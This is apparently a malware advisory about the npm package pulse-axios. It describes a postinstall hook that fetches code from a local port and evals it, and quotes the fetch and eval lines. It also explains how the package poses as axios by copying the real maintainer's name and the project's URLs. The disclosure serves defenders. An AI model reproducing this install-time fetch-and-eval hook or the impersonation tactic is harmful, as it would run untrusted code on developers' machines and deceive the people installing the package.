🛡️ MAL-2026-4651 — pulse-axios

Malicious code in pulse-axios (npm)

Source: amazon-inspector

[email protected] declares a postinstall hook (node./lib/core/eval.js) that on npm install issues fetch('http://localhost:3000/download/data'), reads the response body as text, and passes it to eval inside an async IIFE: await eval(\(async () => {\n${datab2}\n})();\). Errors are silently swallowed in an empty catch. Any bytes returned by whatever process is listening on port 3000 at install time — including any local attacker process, a co-installed malicious package's helper, or a developer-staging payload server — execute with the installer's privileges. The package additionally impersonates the legitimate axios package: name: pulse-axios, description claims to be "a faster and better version of axios", author is set to Matt Zabriskie (the real axios maintainer), repository.url points to https://github.com/axios/axios.git, and homepage is https://axios-http.com. The metadata theft is designed to fool installers into believing this is a legitimate axios variant. Combined, the package is a typosquat lure that ships an install-time RCE primitive.